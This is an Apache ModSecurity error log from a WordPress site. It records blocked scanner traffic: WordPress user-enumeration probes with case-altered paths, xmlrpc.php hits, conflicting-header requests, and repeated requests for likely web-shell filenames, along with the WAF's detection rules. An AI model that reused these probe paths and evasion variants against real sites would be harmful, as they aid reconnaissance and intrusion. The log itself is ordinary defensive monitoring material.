[Sun Jan 04 21:35:57.400951 2026] [:error] [pid 37227:tid 37294] [client 136.118.134.33:50459] [client 136.118.134.33] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVpsvZAQAfXb5IgCkZOUQAAAA8k"]
[Sun Jan 04 21:35:59.571638 2026] [:error] [pid 37227:tid 37302] [client 136.118.134.33:50459] [client 136.118.134.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.134.33, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVpsv5AQAfXb5IgCkZOUSQAAA9E"]
[Sun Jan 04 23:38:45.724775 2026] [:error] [pid 48667:tid 48702] [client 221.229.106.25:42114] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVqJhXO6aihVIlrNAPgDPwAAAQU"]
[Mon Jan 05 03:21:20.734954 2026] [:error] [pid 8447:tid 8455] [client 170.106.35.137:55054] [client 170.106.35.137] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVq9sLlwvJttJsvQpd_wawAAAoU"]
[Mon Jan 05 04:29:10.451977 2026] [proxy_fcgi:error] [pid 5632:tid 5658] [client 202.76.161.110:38316] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_postmeta` SET `meta_value` = '{\\"timeout\\":1767684550,\\"value\\":{\\"content\\":\\"\\\\t\\\\t<section class=\\\\\\"elementor-section elementor-top-section elementor-element elementor-element-5c727513 elementor-section-content-middle elementor-reverse-tablet elementor-reverse-mobile about-page padding-section elementor-section-boxed elementor-section-height-default elementor-section-height-default\\\\\\" data-id=\\\\\\"5c727513\\\\\\" data-element_type=\\\\\\"section\\\\\\" data-settings=\\\\\\"{&quot;background_background&quot;:&quot;classic&quot;}\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-container elementor-column-gap-no\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-2ff38bf2\\\\\\" data-id=\\\\\\"2ff38bf2\\\\\\" data-element_type=\\\\\\"column\\\\\\">\\\\n\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-widget-wrap elementor-element-populated\\\\\\">\\\\n\\\\t\\\\...'
[Mon Jan 05 07:32:49.678486 2026] [:error] [pid 5535:tid 5570] [client 74.225.204.9:36542] [client 74.225.204.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws35.php"] [unique_id "aVr4oWnkedMjhVX0PTWu_AAAAEA"]
[Mon Jan 05 07:32:50.456166 2026] [:error] [pid 5536:tid 5608] [client 74.225.204.9:5775] [client 74.225.204.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws35.php"] [unique_id "aVr4ogRtMZNG6xI8yDz1ogAAAIs"]
[Mon Jan 05 07:32:50.838288 2026] [:error] [pid 5536:tid 5618] [client 74.225.204.9:32632] [client 74.225.204.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws35.php"] [unique_id "aVr4ogRtMZNG6xI8yDz1owAAAJU"]
[Mon Jan 05 07:32:51.446364 2026] [:error] [pid 6680:tid 6695] [client 74.225.204.9:20131] [client 74.225.204.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws35.php"] [unique_id "aVr4o6E58uNoazzTmx0SoAAAAQ0"]
[Mon Jan 05 11:57:55.221755 2026] [:error] [pid 5632:tid 5644] [client 192.144.148.122:41960] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVs2w4N3ZWvlOh-nbt8-eAAAAMA"]
[Mon Jan 05 13:25:56.807326 2026] [:error] [pid 54081:tid 54103] [client 103.74.123.7:60468] [client 103.74.123.7] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aVtLZFL4jLgtF-b9w4cdzwAAAVM"]
[Mon Jan 05 13:26:29.097218 2026] [:error] [pid 54081:tid 54106] [client 103.191.240.197:48374] [client 103.191.240.197] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aVtLhVL4jLgtF-b9w4cd9QAAAVY"]
[Mon Jan 05 13:26:32.151747 2026] [:error] [pid 54081:tid 54099] [client 103.153.42.102:57406] [client 103.153.42.102] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aVtLiFL4jLgtF-b9w4cd-QAAAU8"]
[Mon Jan 05 13:29:33.268725 2026] [:error] [pid 5632:tid 5645] [client 47.95.35.188:54588] [client 47.95.35.188] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/Wp/v2/users"] [unique_id "aVtMPYN3ZWvlOh-nbt9c2AAAAME"]
[Mon Jan 05 13:29:41.963111 2026] [:error] [pid 5536:tid 5601] [client 41.185.8.236:50292] [client 41.185.8.236] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/Wp/v2/users"] [unique_id "aVtMRQRtMZNG6xI8yDxisQAAAIQ"]
[Mon Jan 05 13:30:17.571783 2026] [:error] [pid 5534:tid 5563] [client 213.32.31.28:35868] [client 213.32.31.28] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aVtMaZNs9XmbR6unB0w4ogAAABQ"]
[Mon Jan 05 13:30:32.108313 2026] [:error] [pid 54081:tid 54107] [client 41.73.194.134:56922] [client 41.73.194.134] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aVtMeFL4jLgtF-b9w4ce_QAAAVc"]
[Mon Jan 05 13:31:23.114419 2026] [:error] [pid 5536:tid 5620] [client 47.95.35.188:46002] [client 47.95.35.188] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aVtMqwRtMZNG6xI8yDxjTwAAAJc"]
[Mon Jan 05 13:32:27.926027 2026] [:error] [pid 6680:tid 6697] [client 192.250.235.211:57110] [client 192.250.235.211] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aVtM66E58uNoazzTmx2DXwAAAQ8"]
[Mon Jan 05 14:19:28.740903 2026] [:error] [pid 5632:tid 5664] [client 43.130.57.46:35964] [client 43.130.57.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVtX8IN3ZWvlOh-nbt9qBgAAANQ"]
[Mon Jan 05 16:39:53.779800 2026] [:error] [pid 5632:tid 5653] [client 4.190.186.103:52450] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnn_.php"] [unique_id "aVt42YN3ZWvlOh-nbt-LawAAAMk"]
[Mon Jan 05 16:39:56.059096 2026] [:error] [pid 54081:tid 54108] [client 4.190.186.103:39640] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnn_.php"] [unique_id "aVt43FL4jLgtF-b9w4dLRAAAAVg"]
[Mon Jan 05 16:39:57.163306 2026] [:error] [pid 5535:tid 5585] [client 4.190.186.103:14052] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnn_.php"] [unique_id "aVt43WnkedMjhVX0PTU7wQAAAE8"]
[Mon Jan 05 16:39:58.879340 2026] [:error] [pid 28407:tid 28414] [client 4.190.186.103:43069] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnn_.php"] [unique_id "aVt43tercd3ptydUzM0KjgAAAYQ"]
[Mon Jan 05 16:40:01.062960 2026] [:error] [pid 28407:tid 28433] [client 4.190.186.103:14027] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aVt44dercd3ptydUzM0KkQAAAZY"]
[Mon Jan 05 16:40:04.331839 2026] [:error] [pid 5536:tid 5598] [client 4.190.186.103:44362] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aVt45ARtMZNG6xI8yDyejwAAAIE"]
[Mon Jan 05 16:40:07.027340 2026] [:error] [pid 28407:tid 28417] [client 4.190.186.103:43009] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aVt459ercd3ptydUzM0KoAAAAYc"]
[Mon Jan 05 16:40:07.541576 2026] [:error] [pid 28407:tid 28422] [client 4.190.186.103:39675] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aVt459ercd3ptydUzM0KogAAAYs"]
[Mon Jan 05 16:40:08.546072 2026] [:error] [pid 5534:tid 5550] [client 4.190.186.103:50639] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "aVt46JNs9XmbR6unB0xtYgAAAAc"]
[Mon Jan 05 16:40:09.113442 2026] [:error] [pid 5632:tid 5644] [client 4.190.186.103:50395] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "aVt46YN3ZWvlOh-nbt-LgQAAAMA"]
[Mon Jan 05 16:40:10.102370 2026] [:error] [pid 54081:tid 54095] [client 4.190.186.103:13556] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "aVt46lL4jLgtF-b9w4dLVAAAAUs"]
[Mon Jan 05 16:40:11.384977 2026] [:error] [pid 5632:tid 5653] [client 4.190.186.103:50685] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "aVt464N3ZWvlOh-nbt-LhAAAAMk"]
[Mon Jan 05 16:40:12.122812 2026] [:error] [pid 5534:tid 5548] [client 4.190.186.103:13565] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "aVt47JNs9XmbR6unB0xtZQAAAAU"]
[Mon Jan 05 16:40:14.364497 2026] [:error] [pid 28407:tid 28414] [client 4.190.186.103:39657] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "aVt47tercd3ptydUzM0KowAAAYQ"]
[Mon Jan 05 16:40:16.274352 2026] [:error] [pid 6680:tid 6685] [client 4.190.186.103:50648] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "aVt48KE58uNoazzTmx2v8gAAAQM"]
[Mon Jan 05 16:40:18.589050 2026] [:error] [pid 6680:tid 6687] [client 4.190.186.103:42999] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "aVt48qE58uNoazzTmx2v9AAAAQU"]
[Mon Jan 05 16:40:19.787637 2026] [:error] [pid 5632:tid 5668] [client 4.190.186.103:41499] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "aVt484N3ZWvlOh-nbt-LkAAAANg"]
[Mon Jan 05 16:40:23.663043 2026] [:error] [pid 5536:tid 5619] [client 4.190.186.103:42980] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "aVt49wRtMZNG6xI8yDyeowAAAJY"]
[Mon Jan 05 16:40:25.185471 2026] [:error] [pid 5534:tid 5543] [client 4.190.186.103:53056] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "aVt4-ZNs9XmbR6unB0xtcgAAAAA"]
[Mon Jan 05 16:40:29.401345 2026] [:error] [pid 5632:tid 5646] [client 4.190.186.103:13818] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "aVt4_YN3ZWvlOh-nbt-LlAAAAMI"]
[Mon Jan 05 16:40:30.154781 2026] [:error] [pid 54081:tid 54107] [client 4.190.186.103:53082] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "aVt4_lL4jLgtF-b9w4dLYQAAAVc"]
[Mon Jan 05 16:40:33.347109 2026] [:error] [pid 54081:tid 54101] [client 4.190.186.103:46486] [client 4.190.186.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "aVt5AVL4jLgtF-b9w4dLYgAAAVE"]
[Mon Jan 05 18:33:33.694627 2026] [:error] [pid 54081:tid 54087] [client 192.144.148.122:52676] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVuTfVL4jLgtF-b9w4droQAAAUM"]
[Mon Jan 05 18:49:19.355158 2026] [:error] [pid 5535:tid 5594] [client 4.197.220.165:15499] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpup.php"] [unique_id "aVuXL2nkedMjhVX0PTVdBQAAAFg"]
[Mon Jan 05 18:49:19.587128 2026] [:error] [pid 5534:tid 5552] [client 4.197.220.165:15564] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpup.php"] [unique_id "aVuXL5Ns9XmbR6unB0ylaQAAAAk"]
[Mon Jan 05 18:49:20.102024 2026] [:error] [pid 5534:tid 5551] [client 4.197.220.165:15557] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpup.php"] [unique_id "aVuXMJNs9XmbR6unB0ylagAAAAg"]
[Mon Jan 05 18:49:20.167545 2026] [:error] [pid 5534:tid 5548] [client 4.197.220.165:15586] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpup.php"] [unique_id "aVuXMJNs9XmbR6unB0ylawAAAAU"]
[Mon Jan 05 18:49:20.392215 2026] [:error] [pid 5534:tid 5553] [client 4.197.220.165:15601] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aVuXMJNs9XmbR6unB0ylbwAAAAo"]
[Mon Jan 05 18:49:20.864815 2026] [:error] [pid 5632:tid 5653] [client 4.197.220.165:15589] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aVuXMIN3ZWvlOh-nbt-woQAAAMk"]
[Mon Jan 05 18:49:21.200669 2026] [:error] [pid 5632:tid 5654] [client 4.197.220.165:15493] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aVuXMYN3ZWvlOh-nbt-wowAAAMo"]
